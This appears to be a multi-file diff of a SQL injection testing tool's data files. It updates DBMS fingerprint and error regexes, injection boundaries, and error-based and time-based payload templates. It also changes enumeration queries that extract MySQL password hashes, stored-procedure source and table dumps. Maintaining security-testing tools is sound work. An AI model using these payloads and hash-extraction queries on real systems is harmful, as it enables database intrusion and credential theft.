||||
<signatures release="2022">
|
||||
<signature>
|
||||
<version>
|
||||
16.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
16.0.1000.6
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2019">
|
||||
<signature>
|
||||
<version>
|
||||
15.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
15.0.2000.5
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2017">
|
||||
<signature>
|
||||
<version>
|
||||
14.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
14.0.1000.169
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2016">
|
||||
<signature>
|
||||
<version>
|
||||
13.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.1601.5
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.4001.0
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.5026.0
|
||||
</version>
|
||||
<servicepack>
|
||||
2
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
13.0.6300.2
|
||||
</version>
|
||||
<servicepack>
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2014">
|
||||
<signature>
|
||||
<version>
|
||||
12.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.2000.8
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.4100.1
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.5000.0
|
||||
</version>
|
||||
<servicepack>
|
||||
2
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
12.0.6024.0
|
||||
</version>
|
||||
<servicepack>
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2012">
|
||||
<signature>
|
||||
<version>
|
||||
11.0
|
||||
</version>
|
||||
<servicepack>
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.2100.60
|
||||
</version>
|
||||
<servicepack>
|
||||
0
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.3000.0
|
||||
</version>
|
||||
<servicepack>
|
||||
1
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.5058.0
|
||||
</version>
|
||||
<servicepack>
|
||||
2
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.6020.0
|
||||
</version>
|
||||
<servicepack>
|
||||
3
|
||||
</servicepack>
|
||||
</signature>
|
||||
<signature>
|
||||
<version>
|
||||
11.0.7001.0
|
||||
</version>
|
||||
<servicepack>
|
||||
4
|
||||
</servicepack>
|
||||
</signature>
|
||||
</signatures>
|
||||
<signatures release="2008 R2">
|
||||
<signature>
|
||||
<version>
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
<!--
|
||||
References:
|
||||
* https://en.wikipedia.org/wiki/Debian_version_history
|
||||
* https://en.wikipedia.org/wiki/Ubuntu_version_history
|
||||
-->
|
||||
|
||||
<root>
|
||||
@@ -76,4 +77,30 @@
|
||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
||||
</regexp>
|
||||
|
||||
<!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
|
||||
</regexp>
|
||||
|
||||
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
|
||||
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
|
||||
</regexp>
|
||||
|
||||
</root>
|
||||
|
||||
@@ -441,14 +441,6 @@ Formats:
|
||||
<suffix>)+</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)+'</suffix>
|
||||
</boundary>
|
||||
<!-- End of pre-WHERE generic boundaries -->
|
||||
|
||||
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
||||
|
||||
+8
-1
@@ -16,6 +16,8 @@
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Mysql"/>
|
||||
<error regexp="MySqlException"/>
|
||||
<error regexp="pymysql\.err\."/>
|
||||
<error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
|
||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||
@@ -34,6 +36,8 @@
|
||||
<error regexp="org\.postgresql\.jdbc"/>
|
||||
<error regexp="Pdo[./_\\]Pgsql"/>
|
||||
<error regexp="PSQLException"/>
|
||||
<error regexp="psycopg2?\.(errors\.|\w+Error)"/>
|
||||
<error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Microsoft SQL Server">
|
||||
@@ -78,6 +82,8 @@
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
|
||||
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
|
||||
<error regexp="OracleException"/>
|
||||
<error regexp="cx_Oracle\.\w+Error"/>
|
||||
<error regexp="oracledb\.(exceptions\.|\w+Error)"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="IBM DB2">
|
||||
@@ -173,6 +179,7 @@
|
||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||
<error regexp="org\.monetdb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Apache Derby">
|
||||
@@ -218,7 +225,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="CrateDB">
|
||||
<error regexp="io\.crate\.client\.jdbc"/>
|
||||
<error regexp="io\.crate\."/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Cache">
|
||||
|
||||
@@ -598,7 +598,7 @@ Tag: <test>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
||||
<title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||
<stype>1</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
@@ -617,7 +617,7 @@ Tag: <test>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
||||
<title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>3</risk>
|
||||
|
||||
@@ -271,7 +271,7 @@
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||
<title>MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
@@ -593,7 +593,7 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||
</request>
|
||||
@@ -880,7 +880,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
@@ -899,7 +899,7 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
@@ -911,6 +911,44 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
|
||||
<stype>2</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>H2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>H2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
|
||||
<stype>2</stype>
|
||||
@@ -1218,7 +1256,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||
</request>
|
||||
@@ -1495,7 +1533,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||
</request>
|
||||
|
||||
@@ -141,7 +141,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
|
||||
@@ -1626,9 +1626,9 @@
|
||||
<risk>2</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>3</where>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
|
||||
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
|
||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
|
||||
+46
-18
@@ -35,8 +35,8 @@
|
||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||
<!-- https://stackoverflow.com/a/31122246 -->
|
||||
<passwords>
|
||||
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
<inband query="SELECT user,IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string) FROM mysql.user" condition="user"/>
|
||||
<blind query="SELECT DISTINCT(IF(LEFT(authentication_string,3)=0x244124,CONCAT(0x246d7973716c,LEFT(authentication_string,6),0x2a,INSERT(HEX(SUBSTR(authentication_string,8)),41,0,0x2a)),authentication_string)) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
|
||||
@@ -47,6 +47,10 @@
|
||||
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
|
||||
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||
</statements>
|
||||
<procedures>
|
||||
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
|
||||
</procedures>
|
||||
<dbs>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
|
||||
<blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
|
||||
@@ -61,7 +65,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
|
||||
@@ -122,6 +127,10 @@
|
||||
<inband query="SELECT query FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||
</statements>
|
||||
<procedures>
|
||||
<inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
<blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
|
||||
</procedures>
|
||||
<dbs>
|
||||
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
@@ -136,7 +145,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||
@@ -193,6 +203,11 @@
|
||||
<inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
||||
<blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
|
||||
</statements>
|
||||
<!-- NOTE: o.type_desc carries SQL Server's fixed catalog-metadata collation (Latin1_General_CI_AS_KS_WS), which clashes with m.definition's database collation under '+' ("cannot resolve collation conflict"). Coercing the catalog string columns to DATABASE_DEFAULT makes the whole concat single-collation. o.name is usually already the database collation so its COLLATE is a no-op, but it is coerced too defensively, since catalog name-column collation can vary by version/config. -->
|
||||
<procedures>
|
||||
<inband query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
|
||||
<blind query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF') ORDER BY o.name OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT LTRIM(STR(COUNT(*))) FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
|
||||
</procedures>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
@@ -207,7 +222,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
|
||||
